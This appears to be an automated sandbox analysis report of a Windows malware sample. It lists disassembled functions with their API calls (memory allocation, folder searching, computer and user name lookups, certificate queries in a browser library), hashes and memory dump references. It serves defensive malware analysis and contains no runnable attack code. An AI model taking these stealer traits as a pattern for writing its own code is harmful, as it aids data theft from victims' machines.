Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: c2a1971556bf1f268a6ff166481f13a8f88964e7da0f88a34b64ba2c4622adad
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,02758FB8), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 3494839df47293be8e0c2aed85fd027d9701ebc59272e5aed6224a8eaf14a9c4
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 3494839df47293be8e0c2aed85fd027d9701ebc59272e5aed6224a8eaf14a9c4
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 88ab045ecfe790ad8ed18e84e1b0c7fe1fbe0ad4e7b91ac096839e012bbb5ae7
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 88ab045ecfe790ad8ed18e84e1b0c7fe1fbe0ad4e7b91ac096839e012bbb5ae7
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004188D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction ID: 18df4f3d1847af864b4cf5612dd8d404a1e3ff34582bf4e0d6244d1823b45961
Opcode Fuzzy Hash: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction Fuzzy Hash: B301FBB491420CEBCB14CF98D585BEC7BB5EF04308F248089D9456B350C7785F84DB4A

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C6E5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C6E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6E54BE
__Init_thread_footer.LIBCMT ref: 6C6E54DB

Part of subcall function 6C70AB3F: EnterCriticalSection.KERNEL32(6C75E370,?,?,6C6D3527,6C75F6CC,?,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB49
Part of subcall function 6C70AB3F: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D3527,6C75F6CC,?,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70AB7C

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C6E5516
GetCurrentThreadId.KERNEL32 ref: 6C6E556A
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C6E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C6E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C6E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6E55E6
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C6E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6E5616

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

GetCurrentThreadId.KERNEL32 ref: 6C6E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C6E567C
free.MOZGLUE(?), ref: 6C6E56AE

Part of subcall function 6C6F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6F5EDB
Part of subcall function 6C6F5E90: memset.VCRUNTIME140(ewsl,000000E5,?), ref: 6C6F5F27
Part of subcall function 6C6F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6E56E8
GetCurrentThreadId.KERNEL32 ref: 6C6E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C6E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C6E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C6E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C6E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C6E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6E57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C6E5B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C6E5BBE
MOZ_PROFILER_STARTUP, xrefs: 6C6E55E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C6E5D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6E548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6E57C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C6E5D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6E57AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6E54B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6E56E3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C6E5717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C6E5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C6E5AC9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6E54A3
[I %d/%d] profiler_init, xrefs: 6C6E564E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C6E5724
GeckoMain, xrefs: 6C6E5554, 6C6E55D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C6E5766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C6E5791
MOZ_BASE_PROFILER_HELP, xrefs: 6C6E5511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C6E5D1C
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C6E5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C6E584E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C6E5C56
Q^, xrefs: 6C6E57BC
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C6E5CF9

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: e0a2b71bb96a08bfaae44990852a19cc2ecb78ba1bdb47a249561416ce7453cf
Instruction ID: ff6846a0d266e19819c09ebe1ccef3e9a97f31c4121557655535ede51da9291a
Opcode Fuzzy Hash: e0a2b71bb96a08bfaae44990852a19cc2ecb78ba1bdb47a249561416ce7453cf
Instruction Fuzzy Hash: 812224B0A093008FDB00AF35891836A77F5AF4A30CF84053AE85A97A81EF31D955CB5B

Function 6C6E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C6E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C6E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C6E6D26

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C6E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C6E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C6E6D73
free.MOZGLUE(00000000), ref: 6C6E6D80
CertGetNameStringW.CRYPT32 ref: 6C6E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C6E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C6E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C6E6E10
